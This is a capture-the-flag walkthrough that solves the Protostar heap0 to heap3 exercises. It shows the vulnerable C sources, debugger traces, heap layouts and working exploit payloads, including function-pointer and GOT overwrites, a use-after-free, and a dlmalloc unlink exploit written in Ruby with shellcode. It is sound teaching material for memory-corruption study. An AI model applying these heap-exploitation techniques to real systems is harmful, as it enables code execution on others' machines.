Exploit-Exercises: Protostar (Heap Levels)
Image: Exploit-Exercises: Protostar (v2)
user@protostar:~$ wget https://raw.githubusercontent.com/73696e65/gdbinit/master/gdb_init.txt --no-check-certificate -O ~/.gdbinit -q
Protostar Heap0
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data {
char name[64];
};
struct fp {
int (*fp)();
};
void winner()
{
printf("level passed\n");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
}
user@protostar:~$ gdb -q /opt/protostar/bin/heap0
Really redefine built-in command "frame"? (y or n) [answered Y; input not from terminal]
Really redefine built-in command "thread"? (y or n) [answered Y; input not from terminal]
Really redefine built-in command "start"? (y or n) [answered Y; input not from terminal]
Reading symbols from /opt/protostar/bin/heap0...done.
gdb> r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
data is at 0x804a008, fp is at 0x804a050
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:41346341 ebx:B7FD7FF4 ecx:00000000 edx:00000065 eflags:00210246
esi:00000000 edi:00000000 esp:BFFFF70C ebp:BFFFF738 eip:41346341
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t s Z a P c
[007B:BFFFF70C]---------------------------------------------------------[stack]
BFFFF73C : 76 DC EA B7 02 00 00 00 - E4 F7 FF BF F0 F7 FF BF v...............
BFFFF72C : 50 A0 04 08 20 85 04 08 - 00 00 00 00 B8 F7 FF BF P... ...........
BFFFF71C : 38 F7 FF BF 65 63 EC B7 - 40 10 FF B7 08 A0 04 08 8...ec..@.......
BFFFF70C : FF 84 04 08 08 A0 04 08 - 1D F9 FF BF 50 A0 04 08 ............P...
[007B:41346341]---------------------------------------------------------[ data]
41346341 : Error while running hook_stop:
Cannot access memory at address 0x41346341
0x41346341 in ?? ()
0x41346341
represents the offset 72, also 0x804a050 - 0x804a008 = 72
. So we
write 64B to d->name
and after another 8B, there is the address of fp
.
To verify our statement, we use ltrace and gdb:
user@protostar:~$ ltrace /opt/protostar/bin/heap0 1337
__libc_start_main(0x804848c, 2, 0xbffff844, 0x8048520, 0x8048510 <unfinished ...>
malloc(64) = 0x0804a008
malloc(4) = 0x0804a050
printf("data is at %p, fp is at %p\n", 0x804a008, 0x804a050data is at 0x804a008, f
) = 41
strcpy(0x0804a008, "1337") = 0x0804a008
puts("level has not been passed"level has not been passed
) = 26
+++ exited (status 26) +++
user@protostar:~$ gdb -q /opt/protostar/bin/heap0
Really redefine built-in command "frame"? (y or n) [answered Y; input not from terminal]
Really redefine built-in command "thread"? (y or n) [answered Y; input not from terminal]
Really redefine built-in command "start"? (y or n) [answered Y; input not from terminal]
Reading symbols from /opt/protostar/bin/heap0...done.
gdb> b *0x80484ff
Breakpoint 1 at 0x80484ff: file heap0/heap0.c, line 40.
gdb> r $(ruby -e 'print "X" * 64')
data is at 0x804a008, fp is at 0x804a050
level has not been passed
_______________________________________________________________________________
eax:0000001A ebx:B7FD7FF4 ecx:B7FD84C0 edx:B7FD9340 eflags:00200246
esi:00000000 edi:00000000 esp:BFFFF730 ebp:BFFFF758 eip:080484FF
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t s Z a P c
[007B:BFFFF730]---------------------------------------------------------[stack]
BFFFF760 : 02 00 00 00 04 F8 FF BF - 10 F8 FF BF 48 18 FE B7 ............H...
BFFFF750 : 20 85 04 08 00 00 00 00 - D8 F7 FF BF 76 DC EA B7 ...........v...
BFFFF740 : 65 63 EC B7 40 10 FF B7 - 08 A0 04 08 50 A0 04 08 ec..@.......P...
BFFFF730 : 08 A0 04 08 41 F9 FF BF - 50 A0 04 08 58 F7 FF BF ....A...P...X...
[007B:BFFFF730]---------------------------------------------------------[ data]
BFFFF730 : 08 A0 04 08 41 F9 FF BF - 50 A0 04 08 58 F7 FF BF ....A...P...X...
BFFFF740 : 65 63 EC B7 40 10 FF B7 - 08 A0 04 08 50 A0 04 08 ec..@.......P...
[0073:080484FF]---------------------------------------------------------[ code]
0x80484ff <main+115>: leave
0x8048500 <main+116>: ret
0x8048501: nop
0x8048502: nop
0x8048503: nop
0x8048504: nop
------------------------------------------------------------------------------
Breakpoint 1, main (argc=0x2, argv=0xbffff804) at heap0/heap0.c:40
40 heap0/heap0.c: No such file or directory.
in heap0/heap0.c
gdb> x /25x 0x0804a000
0x804a000: 0x00000000 0x00000049 0x58585858 0x58585858
0x804a010: 0x58585858 0x58585858 0x58585858 0x58585858
0x804a020: 0x58585858 0x58585858 0x58585858 0x58585858
0x804a030: 0x58585858 0x58585858 0x58585858 0x58585858
0x804a040: 0x58585858 0x58585858 0x00000000 0x00000011
0x804a050: 0x08048478 0x00000000 0x00000000 0x00020fa9
0x804a060: 0x00000000
(08) 0x0804a000: d-control
(64) 0x0804a008: d-name
(08) 0x0804a048: f-control
(04) 0x0804a050: f-fp
We set fp
to winner()
symbol:
user@protostar:~$ nm /opt/protostar/bin/heap0 | grep winner
08048478 T nowinner
08048464 T winner
user@protostar:~$ /opt/protostar/bin/heap0 $(ruby -e 'print "X"*72 + [0x08048464].pack("V")')
data is at 0x804a008, fp is at 0x804a050
level passed
Protostar Heap1
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
user@protostar:~$ ltrace /opt/protostar/bin/heap1 AAAA BBBB
__libc_start_main(0x80484b9, 3, 0xbffff834, 0x8048580, 0x8048570 <unfinished ...>
malloc(8) = 0x0804a008
malloc(8) = 0x0804a018
malloc(8) = 0x0804a028
malloc(8) = 0x0804a038
strcpy(0x0804a018, "AAAA") = 0x0804a018
strcpy(0x0804a038, "BBBB") = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
) = 25
+++ exited (status 25) +++
We have four allocated chunks in memory:
(8) 0x0804a000: i1-control
(4) 0x0804a008: i1-priority
(4) 0x0804a00c: i1-name(addr)
(8) 0x0804a010: i1-name-control
(8) 0x0804a018: i1-name
(8) 0x0804a020: i2-control
(4) 0x0804a028: i2-priority
(4) 0x0804a02c: i2-name(addr)
(8) 0x0804a030: i2-name-control
(8) 0x0804a038: i2-name
After 20 bytes, we are able to change i2-name(addr)
, that is used by second strcpy()
.
user@protostar:~$ ltrace -e strcpy /opt/protostar/bin/heap1 $(ruby -e 'print "A" * 20 + [0x44444444].pack("V") ') 2222
strcpy(0x0804a018, "AAAAAAAAAAAAAAAAAAAADDDD") = 0x0804a018
strcpy(0x44444444, "2222" <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
We use Global Offset Table Hijacking
technique:
user@protostar:~$ objdump -TR /opt/protostar/bin/heap1
/opt/protostar/bin/heap1: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main
00000000 DF *UND* 00000000 GLIBC_2.0 strcpy
00000000 DF *UND* 00000000 GLIBC_2.0 printf
00000000 DF *UND* 00000000 GLIBC_2.0 time
00000000 DF *UND* 00000000 GLIBC_2.0 malloc
00000000 DF *UND* 00000000 GLIBC_2.0 puts
0804862c g DO .rodata 00000004 Base _IO_stdin_used
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804974c R_386_GLOB_DAT __gmon_start__
0804975c R_386_JUMP_SLOT __gmon_start__
08049760 R_386_JUMP_SLOT __libc_start_main
08049764 R_386_JUMP_SLOT strcpy
08049768 R_386_JUMP_SLOT printf
0804976c R_386_JUMP_SLOT time
08049770 R_386_JUMP_SLOT malloc
08049774 R_386_JUMP_SLOT puts
user@protostar:~$ nm /opt/protostar/bin/heap1 | grep winner
08048494 T winner
Goal is to write the value 0x08048494
to the 0x08049774
address.
strcpy(i1->name, argv[1]):
(8) 0x0804a000: i1-control
(4) 0x0804a008: i1-priority
(4) 0x0804a00c: i1-name(addr)
(8) 0x0804a010: i1-name-control
(8) 0x0804a018: i1-name # AAAAAAAA
(8) 0x0804a020: i2-control # AAAAAAAA
(4) 0x0804a028: i2-priority # AAAA
(4) 0x0804a02c: i2-name(addr) # [0x08049774].pack("V")
(8) 0x0804a030: i2-name-control
(8) 0x0804a038: i2-name
strcpy(i2->name, argv[2]):
(8) 0x0804a000: i1-control
(4) 0x0804a008: i1-priority
(4) 0x0804a00c: i1-name(addr)
(8) 0x0804a010: i1-name-control
(8) 0x0804a018: i1-name # AAAAAAAA
(8) 0x0804a020: i2-control # AAAAAAAA
(4) 0x0804a028: i2-priority # AAAA
(4) 0x0804a02c: i2-name(addr) # [0x08049774].pack("V")
(8) 0x0804a030: i2-name-control
(8) 0x0804a038: i2-name # [0x08048494].pack("V")
The second strcpy()
takes i2-name(addr) = 0x08049774
and copies over there the argv[2]
value.
user@protostar:~$ ltrace /opt/protostar/bin/heap1 $(ruby -e 'print "A" * 20 + [0x08049774].pack("V")') $(ruby -e 'print [0x08048494].pack("V")')
__libc_start_main(0x80484b9, 3, 0xbffff824, 0x8048580, 0x8048570 <unfinished ...>
malloc(8) = 0x0804a008
malloc(8) = 0x0804a018
malloc(8) = 0x0804a028
malloc(8) = 0x0804a038
strcpy(0x0804a018, "AAAAAAAAAAAAAAAAAAAAt\227\004\b") = 0x0804a018
strcpy(0x08049774, "\224\204\004\b") = 0x08049774
puts("and that's a wrap folks!" <unfinished ...>
time(NULL) = 1435153654
printf("and we have a winner @ %d\n", 1435153654and we have a winner @ 1435153654
) = 34
<... puts resumed> ) = 34
+++ exited (status 34) +++
user@protostar:~$ /opt/protostar/bin/heap1 $(ruby -e 'print "A" * 20 + [0x08049774].pack("V")') $(ruby -e 'print [0x08048494].pack("V")')
and we have a winner @ 1435149585
Protostar Heap2
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
struct auth {
char name[32];
int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
Running the binary:
user@protostar:~$ /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth 1234
[ auth = 0x804c008, service = (nil) ]
service 5678
[ auth = 0x804c008, service = 0x804c018 ]
login
please enter your password
[ auth = 0x804c008, service = 0x804c018 ]
This is strange, the service
variable is allocated at 0x0804c018
, but
obviously we cannot have the following heap chucks:
(08) 0x0804c000: auth-control
(32) 0x0804c008: auth-name
(04) 0x0804c028: auth-auth
(08) 0x0804c010: service-control
(xx) 0x0804c018: service
There should be sizeof(struct auth) = 32+4
instead of sizeof(auth) = 4
and in
our buggy code we allocated only four bytes of memory:
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
This is very simple Use-After-Free
vulnerability. We need to write something
to auth-auth
, after 0x0804c028-0x0804c018 = 16
bytes.
user@protostar:~$ ltrace /opt/protostar/bin/heap2
__libc_start_main(0x8048934, 1, 0xbffff864, 0x804acc0, 0x804acb0 <unfinished ...>
printf("[ auth = %p, service = %p ]\n", (nil), (nil)[ auth = (nil), service = (nil) ]
) = 34
fgets(auth A
"auth A\n", 128, 0xb7fd8420) = 0xbffff730
strncmp("auth A\n", "auth ", 5) = 0
sysconf(30, 0, 0xb7fe1b28, 1, 0) = 4096
sbrk(4096) = 0x0804c000
sbrk(0) = 0x0804d000
memset(0x0804c008, '\000', 4) = 0x0804c008
strlen("A\n") = 2
strcpy(0x0804c008, "A\n") = 0x0804c008
strncmp("auth A\n", "reset", 5) = -17
strncmp("auth A\n", "service", 6) = -18
strncmp("auth A\n", "login", 5) = -11
printf("[ auth = %p, service = %p ]\n", 0x804c008, (nil)[ auth = 0x804c008, service = (nil) ]
) = 38
fgets(service AAAAAAAAAAAAAAA
"service AAAAAAAAAAAAAAA\n", 128, 0xb7fd8420) = 0xbffff730
strncmp("service AAAAAAAAAAAAAAA\n", "auth ", 5) = 18
strncmp("service AAAAAAAAAAAAAAA\n", "reset", 5) = 1
strncmp("service AAAAAAAAAAAAAAA\n", "service", 6) = 0
strdup(" AAAAAAAAAAAAAAA\n") = 0x0804c018
strncmp("service AAAAAAAAAAAAAAA\n", "login", 5) = 7
printf("[ auth = %p, service = %p ]\n", 0x804c008, 0x804c018[ auth = 0x804c008, service = 0x804c018 ]
) = 42
fgets(login
"login\n", 128, 0xb7fd8420) = 0xbffff730
strncmp("login\n", "auth ", 5) = 11
strncmp("login\n", "reset", 5) = -6
strncmp("login\n", "service", 6) = -7
strncmp("login\n", "login", 5) = 0
puts("you have logged in already!"you have logged in already!
) = 28
printf("[ auth = %p, service = %p ]\n", 0x804c008, 0x804c018[ auth = 0x804c008, service = 0x804c018 ]
) = 42
fgets("login\n", 128, 0xb7fd8420) = NULL
+++ exited (status 0) +++
As we can see above, we sent 15 character + newline.
user@protostar:~$ /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth A
[ auth = 0x804c008, service = (nil) ]
service AAAAAAAAAAAAAAA
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
user@protostar:~$ ruby -e 'puts "auth A"; puts "service " + "A" * 15; puts "login"' | /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
Protostar Heap3
This level introduces old Doug Lea Malloc
version, which is statically linked with heap3
binary.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
void winner()
{
printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
char *a, *b, *c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);
free(c);
free(b);
free(a);
printf("dynamite failed?\n");
}
user@protostar:~$ ltrace /opt/protostar/bin/heap3 1 2 3
__libc_start_main(0x8048889, 4, 0xbffff854, 0x804ab50, 0x804ab40 <unfinished ...>
sysconf(30, 0xb7ffeff4, 0xb7e9abb8, 1, 0xbffff71c) = 4096
sbrk(4096) = 0x0804c000
sbrk(0) = 0x0804d000
strcpy(0x0804c008, "1") = 0x0804c008
strcpy(0x0804c030, "2") = 0x0804c030
strcpy(0x0804c058, "3") = 0x0804c058
puts("dynamite failed?"dynamite failed?
) = 17
+++ exited (status 17) +++
We have three chunks at the appropriate addresses:
(08) 0x0804c000: a-control
(32) 0x0804c008: a
(08) 0x0804c000: b-control
(32) 0x0804c030: b
(08) 0x0804c050: c-control
(32) 0x0804c058: c
There are a several great article about this topic, I recommend Phrack 57/8, Phrack 57/9, Hackers Hut to explain the exploitation process in detail.
The malloc chunk could be considered as the following structure:
GNU C Library Implementation (used chunk):
+----------------------------------+
chunk -> | prev_size |
+----------------------------------+
| size |M|P|
+----------------------------------+
mem -> | data |
: ... :
+----------------------------------+
nextchunk -> | prev_size ... |
: :
Once we free() the chunk:
+----------------------------------+
chunk -> | prev_size |
+----------------------------------+
| size |M|P|
+----------------------------------+
mem -> | fd |
+----------------------------------+
| bk |
+----------------------------------+
| (old memory, can be zero bytes) |
: :
nextchunk -> | prev_size ... |
: :
It is useful to download the glibc 2.2.3 source code, we are
interested, how is the free()
implemented:
..
#define unlink(P, BK, FD) \
{ \
BK = P->bk; \
FD = P->fd; \
FD->bk = BK; \
BK->fd = FD; \
} \
..
islr = 0;
if (!(hd & PREV_INUSE)) /* consolidate backward */
{
prevsz = p->prev_size;
p = chunk_at_offset(p, -(long)prevsz);
sz += prevsz;
if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */
islr = 1;
else
unlink(p, bck, fwd);
}
if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */
{
sz += nextsz;
if (!islr && next->fd == last_remainder(ar_ptr))
/* re-insert last_remainder */
{
islr = 1;
link_last_remainder(ar_ptr, p);
}
else
unlink(next, bck, fwd);
next = chunk_at_offset(p, sz);
}
else
set_head(next, nextsz); /* clear inuse bit */
To call vulnerable unlink()
, we have two branches, consolidate backward or consolidate forward.
We want to overwrite the jump to printf/puts
function in GOT
table with
the address of winner()
.
Given the bck
and fwd
pointers that we could set arbitrary, free()
will do *(fwd+12) = bck
and *(bck+8) = fwd
. We use the first assignment to write to the arbitrary memory location.
Because the second assignment, we cannot simply write something to .text
section (after winner+0x8
),
but jumping to our shellcode stored in allocated memory would be efficient.
gdb> print /x 0x08048864+0x8
$1 = 0x804886c
gdb> maintenance info sections
Exec file:
`/opt/protostar/bin/heap3', file type elf32-i386.
0x8048114->0x8048127 at 0x00000114: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048128->0x8048148 at 0x00000128: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048148->0x804816c at 0x00000148: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804816c->0x8048234 at 0x0000016c: .hash ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048234->0x804829c at 0x00000234: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804829c->0x804848c at 0x0000029c: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804848c->0x804859a at 0x0000048c: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804859a->0x80485d8 at 0x0000059a: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80485d8->0x80485f8 at 0x000005d8: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80485f8->0x8048608 at 0x000005f8: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048608->0x8048680 at 0x00000608: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048680->0x80486b0 at 0x00000680: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
0x80486b0->0x80487b0 at 0x000006b0: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
==> 0x80487b0->0x804abdc at 0x000007b0: .text ALLOC LOAD READONLY CODE HAS_CONTENTS <==
0x804abdc->0x804abf8 at 0x00002bdc: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
0x804abf8->0x804aca0 at 0x00002bf8: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804aca0->0x804aca4 at 0x00002ca0: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804b000->0x804b008 at 0x00003000: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x804b008->0x804b010 at 0x00003008: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x804b010->0x804b014 at 0x00003010: .jcr ALLOC LOAD DATA HAS_CONTENTS
0x804b014->0x804b0e4 at 0x00003014: .dynamic ALLOC LOAD DATA HAS_CONTENTS
0x804b0e4->0x804b0e8 at 0x000030e4: .got ALLOC LOAD DATA HAS_CONTENTS
0x804b0e8->0x804b130 at 0x000030e8: .got.plt ALLOC LOAD DATA HAS_CONTENTS
0x804b130->0x804b138 at 0x00003130: .data ALLOC LOAD DATA HAS_CONTENTS
0x804b140->0x804b5d4 at 0x00003138: .bss ALLOC
0x0000->0x3cfc at 0x00003138: .stab READONLY HAS_CONTENTS
0x0000->0x566a at 0x00006e34: .stabstr READONLY HAS_CONTENTS
0x0000->0x0039 at 0x0000c49e: .comment READONLY HAS_CONTENTS
Exploit:
#!/usr/bin/env ruby
# user@protostar:~$ objdump -d /opt/protostar/bin/heap3 -M intel
# ...
# 8048935: e8 56 fe ff ff call 8048790 <puts@plt>
# user@protostar:~$ objdump -TR /opt/protostar/bin/heap3 | grep "R_386_JUMP_SLOT.* puts"
# 0804b128 R_386_JUMP_SLOT puts
# gdb> print /x 0x0804b128-0x0c
# $1 = 0x804b11c
# user@protostar:~$ nm /opt/protostar/bin/heap3 | grep winner
# 08048864 T winner
# root@kali32:~# rasm2 -C 'push 0x08048864; ret'
# "\x68\x64\x88\x04\x08\xc3"
# user@protostar:/tmp$ ltrace -e strcpy /opt/protostar/bin/heap3 a b c
# strcpy(0x0804c008, "a") = 0x0804c008
# strcpy(0x0804c030, "b") = 0x0804c030
# strcpy(0x0804c058, "c") = 0x0804c058
# gdb> print /x 0x0804c008 + 0x04
# $1 = 0x804c00c
binary = "/opt/protostar/bin/heap3"
# chunk1
argv1 = "XXXX" # user data, later overwritten by second free()
argv1 << "\x68\x64\x88\x04\x08\xc3" # shellcode
# chunk2
argv2 = "X" * 24 + "\x01" + "ABCDEFG" # user data
# chunk3
argv2 << [0xfffffff8].pack("V") # prev_size = -8 && PREV_INUSE = 0
argv2 << [0xfffffffc].pack("V") # size = -4
argv2 << [0x44444444].pack("V") # prev_size(unused) for fake chunk
argv2 << [0x45454545].pack("V") # size(unused) for fake chunk
argv2 << [0x0804b11c].pack("V") # ret_loc-0x0c
argv2 << [0x0804c00c].pack("V") # ret_addr
argv3 = "X"
# *(0x0804b11c+12) = 0x0804c00c; *(0x0804c00c+8) = 0x0804b11c
puts %x[ #{binary} "#{argv1}" "#{argv2}" "#{argv3}" ]
To explain the logic behind our code, because size
has the lowest bit set as
!PREV_INUSE
and p
points to the beginning of our current chunk, we
triggered the following part of pseudocode with the first free()
:
if (!(hd & PREV_INUSE)) /* consolidate backward */
{
prevsz = -8
p = chunk_at_offset(p, +8);
unlink(p, bck, fwd);
}
Here the address of “virtual chunk” was computed and unlinked:
[0x44444444].pack("V") # prev_size
[0x45454545].pack("V") # size
[0x0804b11c].pack("V") # fwd
[0x0804c00c].pack("V") # bck
However, there is another test in consolidate forward:
if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */
unlink(next, bck, fwd);
0x08049918 <free+244>: mov eax,DWORD PTR [ebp-0x24] ; eax:FFFFFFF8 = -8
0x0804991b <free+247>: mov edx,DWORD PTR [ebp-0x28] ; 0x804c04c: "DEFG\370\377\377\377\374\377\377\377X"
0x0804991e <free+250>: lea eax,[edx+eax*1] ; 0x804c044: "XXXX\001ABCDEFG\370\377\377\377\374\377\377\377X"
0x08049921 <free+253>: mov eax,DWORD PTR [eax+0x4] ; eax:43424101
0x08049924 <free+256>: and eax,0x1 ; eax:00000001 = PREV_INUSE flag
0x08049927 <free+259>: mov DWORD PTR [ebp-0x20],eax ;
0x0804992a <free+262>: mov eax,DWORD PTR [ebp-0x28] ; 0x804c04c: "DEFG\370\377\377\377\374\377\377\377X"
0x0804992d <free+265>: mov edx,DWORD PTR [ebp-0x24] ; edx:FFFFFFF8
0x08049930 <free+268>: mov DWORD PTR [eax+0x4],edx
0x08049933 <free+271>: cmp DWORD PTR [ebp-0x20],0x0 ; PREV_INUSE set?
Here we are verifying, if the PREV_INUSE
flag is set (0x43424101)
, so we
skipped the forward consolidation:
argv2 = "X" * 24 + "\x01" + "ABCDEFG" # user data
user@protostar:/tmp$ /opt/protostar/bin/heap3 $(ruby -e 'print "XXXX" + "\x68\x64\x88\x04\x08\xc3"') $(ruby -e 'print "X" * 24 + "\x01" + "ABCDEFG" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + "AAAABBBB" + [0x0804b11c].pack("V") + [0x0804c00c].pack("V")') X
that wasn't too bad now, was it? @ 1435304932
user@protostar:/tmp$ ./exploit-backward.rb
that wasn't too bad now, was it? @ 1435304818